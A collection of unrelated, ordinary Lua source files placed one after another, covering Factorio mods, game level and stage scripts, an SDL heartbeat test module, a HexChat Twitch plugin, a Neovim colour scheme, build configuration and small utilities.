line.machine.hard_limit then style = "fp_button_icon_medium_cyan" limit_notice = {"", "\n- ", {"fp.machine_limit_hard", limit}, " -"} elseif line.production_ratio < line.uncapped_production_ratio then style = "fp_button_icon_medium_yellow" limit_notice = {"", "\n- ", {"fp.machine_limit_enforced", limit}, " -"} else style = "fp_button_icon_medium_green" limit_notice = {"", "\n- ", {"fp.machine_limit_set", limit}, " -"} end end local tutorial_tooltip = ui_util.tutorial_tooltip(player, nil, "machine", true) local display_count = (machine_count == "0" and line.production_ratio > 0) and "<0.0001" or machine_count local button = table_production.add{type="sprite-button", name="fp_sprite-button_line_machine_" .. line.id, sprite=machine_proto.sprite, style=style, mouse_button_filter={"left-and-right"}, tooltip={"", machine_proto.localised_name, limit_notice, "\n", display_count, " ", machine_text, ui_util.generate_module_effects_tooltip(total_effects, machine_proto), tutorial_tooltip}} button.number = (get_preferences(player).round_button_numbers) and math.ceil(machine_count) or machine_count button.style.padding = 1 end end
local iStream = require('core').iStream local exports = {} local LineEmitter = iStream:extend() function LineEmitter:initialize(initialBuffer) self._buffer = initialBuffer and initialBuffer or '' end function LineEmitter:write(chunk) local line self._buffer = self._buffer .. chunk line = self:_popLine() while line do self:emit('data', line) line = self:_popLine() end end function LineEmitter:_popLine() local line = false local index = self._buffer:find('\n') if index then line = self._buffer:sub(0, index - 1) self._buffer = self._buffer:sub(index + 1) end return line end exports.LineEmitter = LineEmitter return exports
--- Module which is responsible for all heartbeat emulation activities and provides HeartBeatMonitor type -- -- *Dependencies:* `events`, `protocol_handler.ford_protocol_constants`, `qt`, `timers` -- -- *Globals:* `xmlReporter`, `AnyNumber()`, `qt`, `timers` -- @module services.heartbeat_monitor -- @copyright [Ford Motor Company](https://smartdevicelink.com/partners/ford/) and [SmartDeviceLink Consortium](https://smartdevicelink.com/consortium/) -- @license <https://github.com/smartdevicelink/sdl_core/blob/master/LICENSE> local events = require('events') local constants = require('protocol_handler/ford_protocol_constants') local HbMonitor = {} local mt = { __index = { } } --- Type which represents Heartbeat monitor. It responsible for all heartbeat emulation activities. -- @type HeartBeatMonitor --- Check whether message is heartbeat -- @tparam table message Message for check -- @treturn boolean True if message is heartbeat local function isHeartbeatMessage(message) return message.frameType == constants.FRAME_TYPE.CONTROL_FRAME and message.serviceType == constants.SERVICE_TYPE.CONTROL and message.frameInfo == constants.FRAME_INFO.HEARTBEAT end --- Check whether message is heartbeat ACK -- @tparam table message Message for check -- @treturn boolean True if message is heartbeat ACK local function isHeartbeatAckMessage(message) return message.frameType == constants.FRAME_TYPE.CONTROL_FRAME and message.serviceType == constants.SERVICE_TYPE.CONTROL and message.frameInfo == constants.FRAME_INFO.HEARTBEAT_ACK end --- Create and register expectation for heartbeat ACK from SDL -- @tparam HeartBeatMonitor heartBeatMonitor Heartbeat monitor instance local function ExpectHeartbeatAck(heartBeatMonitor) local event = events.Event() event.matches = function(_, data) return data.sessionId == heartBeatMonitor.session.sessionId.get() and isHeartbeatAckMessage(data) end heartBeatMonitor.expectations:ExpectEvent(event, "HeartbeatACK") :Do(function(_, _) heartBeatMonitor.isHeartbeatConfirmedBySDL = true end) end --- Send Heartbeat to SDL -- @tparam HeartBeatMonitor heartBeatMonitor Heartbeat monitor instance local function SendHeartbeat(heartBeatMonitor) heartBeatMonitor.control_services:SendControlMessage( {frameInfo = constants.FRAME_INFO.HEARTBEAT } ) end --- Send Heartbeat ACK to SDL -- @tparam HeartBeatMonitor heartBeatMonitor Heartbeat monitor instance local function SendHeartbeatAck(heartBeatMonitor) heartBeatMonitor.control_services:SendControlMessage( {frameInfo = constants.FRAME_INFO.HEARTBEAT_ACK } ) end --- Create and register expectation for heartbeat -- @tparam HeartBeatMonitor heartBeatMonitor Heartbeat monitor instance local function AddHeartbeatExpectation(heartBeatMonitor) local event = events.Event() event.matches = function(_, data) return data.sessionId == heartBeatMonitor.session.sessionId.get() and isHeartbeatMessage(data) end heartBeatMonitor.expectations:ExpectEvent(event, "Heartbeat") :Pin() :Times(AnyNumber()) :Do(function(_, _) if heartBeatMonitor.heartbeatEnabled and heartBeatMonitor.AnswerHeartbeatFromSDL.get() then SendHeartbeatAck(heartBeatMonitor) end end) end --- Start heartbeat function mt.__index:StartHeartbeat() if not self.heartbeatEnabled then self.heartbeatEnabled = true if not self.isHeartbeatConfirmedBySDL then if self.IgnoreHeartBeatAck.get() then self.isHeartbeatConfirmedBySDL = true else ExpectHeartbeatAck(self) end AddHeartbeatExpectation(self) end if not self.heartbeatToSDLTimerRegistered then qt.connect(self.heartbeatToSDLTimer, "timeout()", self.qtproxy, "SendHeartbeat()") self.heartbeatToSDLTimerRegistered = true end if self.SendHeartbeatToSDL.get() then self.heartbeatToSDLTimer:start(self.heartbeatTimeout) self.heartbeatToSDLTimerStarted = true end SendHeartbeat(self) xmlReporter.AddMessage("StartHearbeat", "True", (self.heartbeatTimeout)) end end --- Stop heartbeat function mt.__index:StopHeartbeat() if self.heartbeatEnabled then self.heartbeatEnabled = false if self.heartbeatToSDLTimerStarted then self.heartbeatToSDLTimer:stop() end xmlReporter.AddMessage("StopHearbeat", "True") end end --- Set heartbeat interval -- @tparam number timeout Heartbeat interval in msec function mt.__index:SetHeartbeatTimeout(timeout) self.heartbeatTimeout = timeout self.heartbeatToSDLTimer:setInterval(timeout) end --- Callback on sent message event -- @tparam table message Message which was sent function mt.__index:OnMessageSent(message) if not (isHeartbeatMessage(message) or isHeartbeatAckMessage(message)) and self.heartbeatToSDLTimerStarted then self.heartbeatToSDLTimer:reset() end end --- Construct instance of HeartBeatMonitor type -- @tparam MobileSession session Mobile session -- @treturn HeartBeatMonitor Constructed instance function HbMonitor.HeartBeatMonitor(session) local res = { } res.qtproxy = qt.dynamic() function res.qtproxy.SendHeartbeat() if res.heartbeatEnabled and res.SendHeartbeatToSDL.get() then SendHeartbeat(res) end end res.heartbeatTimeout = config.heartbeatTimeout res.session = session res.sessionId = session.sessionId res.control_services = session.control_services res.expectations = session.mobile_expectations res.heartbeatToSDLTimer = timers.Timer() res.SendHeartbeatToSDL = {} function res.SendHeartbeatToSDL.get() return session.sendHeartbeatToSDL.get() end res.AnswerHeartbeatFromSDL = {} function res.AnswerHeartbeatFromSDL.get() return session.answerHeartbeatFromSDL.get() end res.IgnoreHeartBeatAck = {} function res.IgnoreHeartBeatAck.get() return session.ignoreHeartBeatAck.get() end res.heartbeatEnabled = false res.isHeartbeatConfirmedBySDL = false res.heartbeatToSDLTimerRegistered = false res.heartbeatToSDLTimerStarted = false setmetatable(res, mt) return res end return HbMonitor
-- -- For more information on config.lua see the Project Configuration Guide at: -- https://docs.coronalabs.com/guide/basics/configSettings -- application = { content = { width = 320, height = 480, scale = 'letterbox', fps = 60, imageSuffix = { ['@2x'] = 1.1, ['@4x'] = 2.1, } }, license = { google = { key = "***REMOVED***", }, }, }
local crystal2 = scene:getInstances("crystal2"); local crystal1cpObjs = {}; local crystal2cpObjs = {}; local crystal1Lights = {}; local crystal2Lights = {}; local crystal1DoneLight = scene:getObjects("terrain0")[1]:findLightComponent():getLights("crystal1_done_light")[1]; local crystal2DoneLight = scene:getObjects("terrain0")[1]:findLightComponent():getLights("crystal2_done_light")[1]; local press4Joint = scene:getJoints("press4_joint")[1]; local keeper1 = scene:getObjects("keeper1")[1]; local keeper2 = scene:getObjects("keeper2")[1]; local function processLightOn(light) light.visible = true; if crystal1DoneLight.visible and crystal2DoneLight.visible then scene:getObjects("keeper1_cp")[1].active = true; scene.respawnPoint = scene:getObjects("keeper1_cp")[1]:getTransform(); scene.player.linearDamping = 6.0; scene.cutscene = true; showLowerDialog( { {"player", tr.dialog73.str1}, {"ally", tr.str6, "common2/portrait_keyl.png", tr.dialog73.str2} }, function () scene.cutscene = false; end); end addTimeoutOnce(1.5, function() audio:playSound("crystal_activate.ogg"); local tweening = SequentialTweening(true); tweening:addTweening(SingleTweening(0.6, const.EaseOutQuad, 0.0, 1.0, false)); tweening:addTweening(SingleTweening(0.6, const.EaseInQuad, 1.0, 0.0, false)); addTimeout0(function(cookie, dt, self) local c = light.color; c[4] = tweening:getValue(self.t); light.color = c; self.t = self.t + dt; end, { t = 0 }); end); end -- main for i = 1, 5, 1 do crystal1Lights[i] = scene:getObjects("terrain0")[1]:findLightComponent():getLights("crystal1_light"..i)[1]; crystal2Lights[i] = scene:getObjects("terrain0")[1]:findLightComponent():getLights("crystal2_light"..i)[1]; end makeDoor("door9", false); makeDoorTrigger("door9_cp", "door9"); makeDoor("door10", false); makeDoorTrigger("door10_cp", "door10"); makeDoor("door11", true); makeDoor("door12", true); for _, inst in pairs(crystal2) do findObject(inst.objects, "crystal").gravityGunAware = true; end setSensorEnterListener("crystal1_cp", false, function(other) if other.name ~= "crystal" then return; end local aw = scene.player:findPlayerComponent().altWeapon; if aw.heldObject == other then aw:cancel(); end other.gravityGunAware = false; if crystal1cpObjs[other.cookie] == nil then crystal1cpObjs[other.cookie] = { count = 1, obj = other }; else crystal1cpObjs[other.cookie].count = crystal1cpObjs[other.cookie].count + 1; end local sz = table.size(crystal1cpObjs); for i = 1, 5, 1 do crystal1Lights[i].visible = (i <= sz); end if (sz == 5) and (not crystal1DoneLight.visible) then closeDoor("door11", true); processLightOn(crystal1DoneLight); end end); setSensorEnterListener("crystal2_cp", false, function(other) if other.name ~= "crystal" then return; end local aw = scene.player:findPlayerComponent().altWeapon; if aw.heldObject == other then aw:cancel(); end other.gravityGunAware = false; if crystal2cpObjs[other.cookie] == nil then crystal2cpObjs[other.cookie] = { count = 1, obj = other }; else crystal2cpObjs[other.cookie].count = crystal2cpObjs[other.cookie].count + 1; end local sz = table.size(crystal2cpObjs); for i = 1, 5, 1 do crystal2Lights[i].visible = (i <= sz); end if (sz == 5) and (not crystal2DoneLight.visible) then closeDoor("door12", true); processLightOn(crystal2DoneLight); end end); press4Joint.myLowerLimit = press4Joint.lowerLimit; press4Joint.myUpperLimit = press4Joint.upperLimit; local tn = press4Joint:getJointTranslation(); press4Joint:setLimits(tn, tn + 0.01); setSensorListener("press4_cp", function(other, self) press4Joint:setLimits(press4Joint.myLowerLimit, press4Joint.myUpperLimit); press4Joint.motorEnabled = true; self.timer = addTimeout0(function(cookie, dt) if press4Joint.motorSpeed < 0 then if (press4Joint:getJointTranslation() <= press4Joint.lowerLimit) or (press4Joint:getJointSpeed() >= -(math.abs(press4Joint.motorSpeed) - 5)) then press4Joint.motorSpeed = math.abs(press4Joint.motorSpeed); end else if (press4Joint:getJointTranslation() >= press4Joint.upperLimit) then press4Joint.motorSpeed = -math.abs(press4Joint.motorSpeed); end end end); end, function(other, self) cancelTimeout(self.timer); local tn = press4Joint:getJointTranslation(); press4Joint:setLimits(tn, tn + 0.01); press4Joint.motorEnabled = false; end, { timer = nil }); setSensorEnterListener("keeper1_cp", true, function(other) local laser4 = scene:getObjects("laser4"); for _, obj in pairs(laser4) do obj.active = true; obj.visible = true; end scene:getObjects("door10_cp")[1].active = false; startMusic("action10.ogg", true); scene.respawnPoint = scene:getObjects("keeper1_cp")[1]:getTransform(); keeper1:findKeeperComponent().autoTarget = true; keeper2:findKeeperComponent().autoTarget = true; addTimeout0(function(cookie, dt, self) if self.last == 0 then if keeper1:dead() then self.last = 2; elseif keeper2:dead() then self.last = 1; end end if keeper1:alive() or keeper2:alive() then return; end cancelTimeout(cookie); startAmbientMusic(true); addTimeoutOnce(1.0, function() openDoor("door10", true); end); local last = self.last; addTimeout0(function(cookie, dt) local kc; if last == 1 then kc = keeper1:findPhysicsBodyComponent(); else kc = keeper2:findPhysicsBodyComponent(); end if kc == nil then cancelTimeout(cookie); local k = factory:createPowerupInventory(const.InventoryItemRedKey); if self.last == 1 then k.pos = keeper1.pos; else k.pos = keeper2.pos; end scene:addObject(k); end end); end, { last = 0 }); addTimeoutOnce(0.5, function() openHatch("hatch1"); addTimeoutOnce(0.5, function() keeper1:findKeeperComponent():crawlOut(); addTimeoutOnce(1.8, function() closeHatch("hatch1"); end); end); end); addTimeoutOnce(3.0, function() openHatch("hatch2"); addTimeoutOnce(0.5, function() keeper2:findKeeperComponent():crawlOut(); addTimeoutOnce(1.8, function() closeHatch("hatch2"); end); end); end); end);
--====================================================================-- -- Imports --====================================================================-- local Objects = require( "dmc_objects" ) local inheritsFrom = Objects.inheritsFrom local CoronaBase = Objects.CoronaBase --====================================================================-- -- Fish Object --====================================================================-- local Fish = inheritsFrom( CoronaBase ) Fish.NAME = "A Fish" Fish.file1 = "assets/fish.small.red.png" Fish.file2 = "assets/fish.small.blue.png" --[[ -- don't actually need to have our constructor because -- functionality comes from CoronaBase -- it's just here for reference -- function Fish:new( options ) local o = self:_bless() o:_init( options ) o:_createView() o:_initComplete() return o end --]] function Fish:_init() self:superCall( "_init" ) -- == Create Properties == -- assign each fish a random velocity self.vx = math.random( 1, 5 ) self.vy = math.random( -2, 2 ) end function Fish:_createView() local img -- fish original img = display.newImage( Fish.file1 ) self:insert( img, true ) -- fish different img = display.newImage( Fish.file2 ) img.isVisible = false self:insert( img, true ) end function Fish:_initComplete() -- add some event listeners for those events we'd like to know about self:addEventListener( "touch", self ) Runtime:addEventListener( "orientation", self ) end -- for some reason, scaling doesn't work around the proper reference point -- need to figure out why -- for now, just flip each image individually -- -- it's a great name for a method - Fish Scale ! function Fish:scale( x, y ) local d = self.display d[1]:scale( x, y ) d[2]:scale( x, y ) end function Fish:touch( event ) local group = self.display if event.phase == "ended" then local topObject = group[1] if ( topObject.isVisible ) then local bottomObject = group[2] -- Dissolve to bottomObject (different color) transition.dissolve( topObject, bottomObject, 500 ) -- Restore after some random delay transition.dissolve( bottomObject, topObject, 500, math.random( 3000, 10000 ) ) end return true end end function Fish:orientation( event ) if ( event.delta ~= 0 ) then local rotateParameters = { rotation = -event.delta, time=500, delta=true } Runtime:removeEventListener( "enterFrame", self ) transition.to( self.display, rotateParameters ) local function resume( event ) Runtime:addEventListener( "enterFrame", self ) end timer.performWithDelay( 500, resume ) end end --====================================================================-- -- Fish Store Factory --====================================================================-- local FishStore = {} FishStore.buyFish = function() return Fish:new() end return FishStore
require('premake_options') local utils = require('utils') pathPrefix = "../Tests" if _OPTIONS["path_prefix"] then pathPrefix = _OPTIONS["path_prefix"] end projectName = "Dummy" if _OPTIONS["project_name"] then projectName = _OPTIONS["project_name"] end testType = "all" if _OPTIONS["tests"] then testType = _OPTIONS["tests"] end solution (projectName) outputDirectory = pathPrefix.."/Projects" location (outputDirectory) language "C++" objdir (pathPrefix.."/../Obj/") configurations {"Release", "Debug"} pchheader "stdafx.h" configuration { "Debug" } -- Will select Win32 | Debug in our case defines { "_DEBUG", "SPASSERT_DEBUG_MODE" } flags { "Symbols" } -- Debug symbols targetsuffix '_d' targetdir (pathPrefix.."/../Debug") libdirs {pathPrefix.."/../Debug"} configuration { "Release*" } -- Selects both Release defines { "NDEBUG" } flags { "Optimize" } -- Optimization switches on targetdir (pathPrefix.."/../bin") libdirs {pathPrefix.."/../bin"} --configuration { "Native" } -- On Win32 --defines{ "WIN32" } -- Define WIN32 vpaths { ["Interfaces"] = {pathPrefix.."/**.hxx"}, ["Headers"] = {pathPrefix.."/**.h"}, ["Sources"] = {pathPrefix.."/**.c", pathPrefix.."/**.cpp"} } project (projectName) kind "ConsoleApp" location = outputDirectory inputPath = pathPrefix.."/src" utils.addfiles(inputPath) includedirs { "../extern/Include/VisualLeakDetector", "../extern/Include" } libdirs { "../extern/Lib/VisualLeakDetector/Win32", --"../extern/Lib/gTest", "../extern/Lib/gMock" } pchsource (inputPath.."/stdafx.cpp") configuration ("Debug") debugdir (pathPrefix.."/../Debug") --links { "gtestd" } links { "gmockd" } configuration ("Release") debugdir (pathPrefix.."/../bin") --links { "gtest"} links { "gmock" } if testType == "base" then configuration ("Debug") links { "Base_D" } configuration ("Release") links { "Base" } configuration {} includedirs { "../Source/Base/Includes", } require('base').run("..", outputDirectory) end if testType == "utilities" then configuration {} links { "Utilities" } includedirs { "../Source/Utilities/Includes", "../Source/Base/Includes", } require('utilities').run("..", outputDirectory) end if testType == "ai" then configuration ("Debug") links { "Base_D", "AI_D" } configuration ("Release") links { "Base", "AI" } configuration {} includedirs { "../Source/AI/Includes", "../Source/Base/Includes", } require('ai').run("..", outputDirectory) end if testType == "graphics" then configuration {} links { "Graphics" } includedirs { "../Source/GraphicsEngine/Includes", } require('graphics').run("..", outputDirectory) end if testType == "physics" then configuration {} links { "Physics" } includedirs { "../Source/Physics/Includes", } require('physics').run("..", outputDirectory) end if testType == "sound" then configuration {} links { "Sound" } includedirs { "../Source/Sound/Includes", } require('sound').run("..", outputDirectory) end if testType == "gamebase" then configuration {} links { "Gamebase" } includedirs { "../Source/Gamebase/Includes", } require('gamebase').run("..", outputDirectory) end
--test for lua Socket print("Lua UDP Started") local socket = require("socket") udp = socket.udp() udp:setpeername("127.0.0.1", 9876) udp:settimeout(100) udp:send("I see you ") data = udp:receive() if data then print("Received: ", data) end
-------------------------------------------------------------------------------- --! @file CharaTppEquipment.lua --! @brief キャラ生成スクリプト / Primary, Secondary 武器 -------------------------------------------------------------------------------- CharaTppEquipment = { ---------------------------------------- --各システムとの依存関係の定義 -- -- GeoやGrなどの各システムのJob実行タイミングを -- 「キャラクタのJob実行後」に合わせ、 -- システムを正常に動作させるために必要。 -- 使用するシステム名を記述してください。 -- -- "Gr" : 描画を使うなら必要 -- "Geo" : 当たりを使うなら必要 -- "Nt" : 通信同期を使うなら必要 -- "Fx" : エフェクトを使うなら必要 -- "Sd" : サウンドを使うなら必要 -- "Noise" : ノイズを使うなら必要 -- "Nav" : 経路探索を使うなら必要 -- "GroupBehavior" : 連携を使うなら必要 -- "Ui" : UIを使うなら必要 ---------------------------------------- dependSyncPoints = { "Gr", "Geo", "Nt", "Fx", "Sd", "Noise", }, pluginIndexEnumInfoName = "TppEquipmentPluginDefine", OnCreate = function( chara ) -- プラグイン初期化 chara:AddPlugins { -- モデル/アニメーションの管理(ChBodyPlugin) "PLG_BODY", ChBodyPlugin{ name = "Body", motionLayers = { "Full", }, useCharacterController = false, }, -- Attachment 追従 "PLG_ATTACH", TppAttachmentAttachPlugin { name = "Attach", }, -- アクションプラグイン "PLG_ACTION_ROOT", ChActionRootPlugin{ name = "ActionRoot", }, -- 武器 銃器用 キャラクタ使用アクションプラグイン (発砲・リロードなど) "PLG_GUN_ACTION", TppNewGunActionPlugin { name = "GunAction", parent = "ActionRoot", bodyPlugin = "Body", isSleepStart = true, reticleUiGraphName = "/Assets/tpp/ui/GraphAsset/StageGame/Weapon/Reticle/reticle_base.uig" }, } chara:SetUpdateDescWhenStoppingFlag( true ) end, }
-------------------------------------------------------------------------------- -- Handler.......... : onQueryWorkshop -- Author........... : -- Description...... : Results will be posted in onQueryWorkshopUserContent -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- function Steam.onQueryWorkshop ( kQueryType, kSortOrder ) -------------------------------------------------------------------------------- if user.getAIState ( this.getUser ( ), "Steam" ) == "Idle" then return 0 end this.bQueryComplete ( false ) hashtable.empty ( this.htWorkshopItems ( ) ) this.nLastWorkshopQuery ( kQueryType ) this.nLastWorkshopSort ( kSortOrder ) this.nLastQueryPage ( 1 ) Steamworks.QueryWorkshopUserContent ( this.nLastWorkshopQuery ( ), this.nLastWorkshopSort ( ), this.sAppID ( ), this.sAppID ( ), this.nLastQueryPage ( ) ) -------------------------------------------------------------------------------- end --------------------------------------------------------------------------------
-- SPDX-License-Identifier: MIT hexchat.register('Twitch', '1', 'Better integration with twitch.tv') local function is_twitch () local server = hexchat.get_info('server') if hexchat.nickcmp(hexchat.get_info('network'), 'Twitch') == 0 then return true elseif server and server:find('twitch.tv$') then return true else return false end end -- Commands from http://help.twitch.tv/customer/portal/articles/659095-chat-moderation-commands -- /ban may conflict with other scripts nothing we can do about that -- /clear is an existing command, just override it for _, command in pairs({ 'timeout', 'slow', 'slowoff', 'subscribers', 'subscribersoff', 'mod', 'unmod', 'mods', 'clear', 'ban', 'unban', 'commercial', 'r9kbeta', 'r9kbetaoff', 'color', 'host', }) do hexchat.hook_command(command, function (word, word_eol) if not is_twitch() then return end hexchat.command('say .' .. word_eol[1]) return hexchat.EAT_ALL end) end for command, alias in pairs({['op'] = 'mod', ['deop'] = 'unmod'}) do hexchat.hook_command(command, function (word, word_eol) if not is_twitch() then return end if word[2] then hexchat.command(string.format('say .%s %s', alias, word_eol[2])) else hexchat.command('say .' .. alias) end return hexchat.EAT_ALL end) end hexchat.hook_server('PRIVMSG', function (word, word_eol) if not is_twitch() then return end -- Move jtv messages to the server tab if word[1]:find('^:jtv!') and word[3]:sub(1, 1) ~= '#' then local id = hexchat.prefs['id'] for chan in hexchat.iterate('channels') do if chan.type == 1 and chan.id == id then chan.context:emit_print('Server Text', word_eol[4]:sub(2)) return hexchat.EAT_ALL end end end end) hexchat.hook_server('421', function (word, word_eol) if not is_twitch() then return end -- Ignore unknown command errors if word[4] == 'WHO' or word[4] == 'WHOIS' then return hexchat.EAT_ALL end end) hexchat.hook_print('Your Message', function (args) if not is_twitch() then return end -- Eat any message starting with a '.', twitch eats all of them too if args[2]:sub(1, 1) == '.' then return hexchat.EAT_ALL end end) hexchat.hook_print('Channel Message', function (args) if not is_twitch() then return end -- Format messages from twitchnotify if args[1] == 'twitchnotify' then print('\00314*\t' .. args[2]) return hexchat.EAT_HEXCHAT end end, hexchat.PRI_LOW)
local M = {} function M.get(cp) local delimeters = cp.gray1 local operators = cp.sky local cl = cp.mauve -- conditionals, loops local keywords = cp.red local math_logic = cp.peach return { -- These groups are for the neovim tree-sitter highlights. -- As of writing, tree-sitter support is a WIP, group names may change. -- By default, most of these groups link to an appropriate Vim group, -- TSError -> Error for example, so you do not have to define these unless -- you explicitly want to support Treesitter's improved syntax awareness. TSField = { fg = cp.rosewater }, -- For fields. TSProperty = { fg = cp.yellow, style = "NONE" }, -- Same as TSField. TSInclude = { fg = cp.teal, style = "NONE" }, -- For includes: #include in C, use or extern crate in Rust, or require in Lua. TSOperator = { fg = operators, style = "bold" }, -- For any operator: +, but also -> and * in cp. TSKeywordOperator = { fg = operators, style = "bold" }, -- For new keyword operator TSPunctSpecial = { fg = cp.maroon, style = "bold" }, -- For special punctutation that does not fall in the catagories before. TSFloat = { fg = math_logic, style = "bold,NONE" }, -- For floats. TSNumber = { fg = math_logic, style = "bold,NONE" }, -- For all numbers TSBoolean = { fg = math_logic, style = "bold,NONE" }, -- For booleans. TSConstructor = { fg = cp.lavender }, -- For constructor calls and definitions: = { } in Lua, and Java constructors. TSConstant = { fg = cp.peach }, -- For constants TSConditional = { fg = cl, style = "bold" }, -- For keywords related to conditionnals. TSRepeat = { fg = cl, style = "bold" }, -- For keywords related to loops. TSException = { fg = cp.peach, style = cnf.styles.keywords }, -- For exception related keywords. -- builtin TSConstBuiltin = { fg = cp.lavender, style = cnf.styles.keywords }, -- For constant that are built in the language: nil in Lua. TSFuncBuiltin = { fg = cp.peach, style = "NONE" }, -- For builtin functions: table.insert in Lua. TSTypeBuiltin = { fg = cp.yellow, style = "NONE" }, -- For builtin types. TSVariableBuiltin = { fg = cp.teal, style = "NONE" }, -- Variable names that are defined by the languages, like this or self. TSFunction = { fg = cp.blue, style = cnf.styles.functions }, -- For function (calls and definitions). TSFuncMacro = { fg = cp.red }, -- For macro defined functions (calls and definitions): each macro_rules in Ruscp. TSParameter = { fg = cp.rosewater, style = "NONE" }, -- For parameters of a function. TSKeywordFunction = { fg = cp.maroon, style = cnf.styles.keywords }, -- For keywords used to define a fuction. TSKeyword = { fg = keywords, style = cnf.styles.keywords }, -- For keywords that don't fall in previous categories. TSKeywordReturn = { fg = cp.pink }, -- TSAnnotation = { }; -- For C++/Dart attributes, annotations that can be attached to the code to denote some kind of meta information. -- TSAttribute = { }; -- (unstable) TODO: docs -- TSCharacter = { }; -- For characters. -- TSgray0 = { }; -- For gray0 blocks. TSNote = { fg = cp.black2, bg = cp.blue }, TSWarning = { fg = cp.black2, bg = cp.yellow }, TSDanger = { fg = cp.black2, bg = cp.red }, -- TSConstMacro = { }; -- For constants that are defined by macros: NULL in cp. -- TSError = { fg = cp.red }, -- For syntax/parser errors. -- rustTSField = { fg = cp.black4 }, -- For fields. TSLabel = { fg = cp.blue }, -- For labels: label: in C and :label: in Lua. TSMethod = { fg = cp.blue, style = "NONE" }, -- For method calls and definitions. TSNamespace = { fg = cp.rosewater, style = "NONE" }, -- For identifiers referring to modules and namespaces. -- TSNone = { }; -- TODO: docs -- TSParameterReference= { }; -- For references to parameters of a function. tomlTSProperty = { fg = cp.blue }, -- Differentiates between string and properties TSPunctDelimiter = { fg = cp.teal }, -- For delimiters ie: . TSPunctBracket = { fg = delimeters }, -- For brackets and parenthesis. TSString = { fg = cp.green }, -- For strings. TSStringRegex = { fg = cp.peach, style = cnf.styles.strings }, -- For regexes. -- TSSymbol = { }; -- For identifiers referring to symbols or atoms. TSType = { fg = cp.yellow }, -- For types. TSVariable = { fg = cp.white, style = cnf.styles.variables }, -- Any variable name that does not have another highlighcp. TSTagAttribute = { fg = cp.mauve, style = "NONE" }, -- Tags like html tag names. TSTag = { fg = cp.peach }, -- Tags like html tag names. TSTagDelimiter = { fg = cp.maroon }, -- Tag delimiter like < > / TSText = { fg = cp.white }, -- For strings considerated text in a markup language. -- TSEmphasis = { }; -- For text to be represented with emphasis. -- TSUnderline = { }; -- For text to be represented with an underline. -- TSStrike = { }; -- For strikethrough texcp. -- TSTitle = { }; -- Text that is part of a title. -- TSLiteral = { }; -- Literal texcp. -- TSURI = { }; -- Any URI like a link or email. -- -- Markdown tresitter parser support TSURI = { fg = cp.rosewater, style = "NONE,underline" }, -- urls, links and emails TSLiteral = { fg = cp.teal, style = "NONE" }, -- used for inline code in markdown and for doc in python (""") TSTextReference = { fg = cp.lavender, style = "bold" }, -- references TSTitle = { fg = cp.blue, style = "bold" }, -- titles like: # Example TSEmphasis = { fg = cp.maroon, style = "NONE" }, -- bold TSStrong = { fg = cp.maroon, style = "bold" }, -- NONE TSStringEscape = { fg = cp.pink, style = cnf.styles.strings }, -- For escape characters within a string. -- bash bashTSFuncBuiltin = { fg = cp.red, style = "NONE" }, bashTSParameter = { fg = cp.yellow, style = "NONE" }, -- lua luaTSField = { fg = cp.lavender }, luaTSConstructor = { fg = cp.flamingo }, -- For constructor calls and definitions: = { } in Lua, and Java constructors. -- java javaTSConstant = { fg = cp.teal }, -- typescript typescriptTSProperty = { fg = cp.lavender, style = "NONE" }, -- Same as TSField. -- css cssTSType = { fg = cp.lavender }, cssTSProperty = { fg = cp.yellow, style = "NONE" }, -- Same as TSField. -- cpp cppTSProperty = { fg = cp.white }, } end return M
data:extend({ { type = "item", name = "underground-belt-mr", icon = modname.."/graphics/icons/underground-belt-20.png", icon_size = 32, subgroup = "belt", order = "b[underground-belt]-a[underground-belt]-a", place_result = "underground-belt-mr", stack_size = 50 }, { type = "item", name = "fast-underground-belt-mr", icon = modname.."/graphics/icons/fast-underground-belt-20.png", icon_size = 32, subgroup = "belt", order = "b[underground-belt]-b[fast-underground-belt]-a", place_result = "fast-underground-belt-mr", stack_size = 50 }, { type = "item", name = "express-underground-belt-mr", icon = modname.."/graphics/icons/express-underground-belt-20.png", icon_size = 32, subgroup = "belt", order = "b[underground-belt]-c[express-underground-belt]-a", place_result = "express-underground-belt-mr", stack_size = 50 }, { type = "recipe", name = "underground-belt-mr", energy_required = 4, enabled = "false", ingredients = { {"underground-belt", 4} }, result = "underground-belt-mr", result_count = 2 }, { type = "recipe", name = "fast-underground-belt-mr", energy_required = 4, enabled = "false", ingredients = { {"fast-underground-belt", 4} }, result = "fast-underground-belt-mr", result_count = 2 }, { type = "recipe", name = "express-underground-belt-mr", energy_required = 4, enabled = "false", ingredients = { {"express-underground-belt", 4} }, result = "express-underground-belt-mr", result_count = 2 } }) local mr1 = table.deepcopy(data.raw["underground-belt"]["underground-belt"]) mr1.name = "underground-belt-mr" mr1.icon = modname.."/graphics/icons/express-underground-belt-20.png" mr1.minable.result = "underground-belt-mr" mr1.max_health = 200 mr1.max_distance = 10 mr1.fast_replaceable_group = "transport-belt" data:extend({ mr1 }) local mr2 = table.deepcopy(data.raw["underground-belt"]["fast-underground-belt"]) mr2.name = "fast-underground-belt-mr" mr2.icon = modname.."/graphics/icons/express-underground-belt-20.png" mr2.minable.result = "fast-underground-belt-mr" mr2.max_health = 220 mr2.max_distance = 14 mr2.fast_replaceable_group = "transport-belt" data:extend({ mr2 }) local mr3 = table.deepcopy(data.raw["underground-belt"]["express-underground-belt"]) mr3.name = "express-underground-belt-mr" mr3.icon = modname.."/graphics/icons/express-underground-belt-20.png" mr3.minable.result = "express-underground-belt-mr" mr3.max_health = 240 mr3.max_distance = 18 mr3.fast_replaceable_group = "transport-belt" data:extend({ mr3 }) table.insert(data.raw["technology"]["logistics"].effects,{type="unlock-recipe",recipe="underground-belt-mr"}) table.insert(data.raw["technology"]["logistics-2"].effects,{type="unlock-recipe",recipe="fast-underground-belt-mr"}) table.insert(data.raw["technology"]["logistics-3"].effects,{type="unlock-recipe",recipe="express-underground-belt-mr"})
function onCreate() -- background shit makeLuaSprite('stageback_HS', 'stageback_HS', -400, -100); setScrollFactor('stageback_HS', 0.9, 0.9) scaleObject('stageback_HS', 1.1, 1.1); makeLuaSprite('stagefront_HS', 'stagefront_HS', -500, 560); setScrollFactor('stagefront_HS', 1.0, 1.0) scaleObject('stagefront_HS', 0.8, 0.8); addLuaSprite('stageback_HS', false); addLuaSprite('stagefront_HS', false); close(true); --For performance reasons, close this script once the stage is fully loaded, as this script won't be used anymore after loading the stage end
print('hello world')
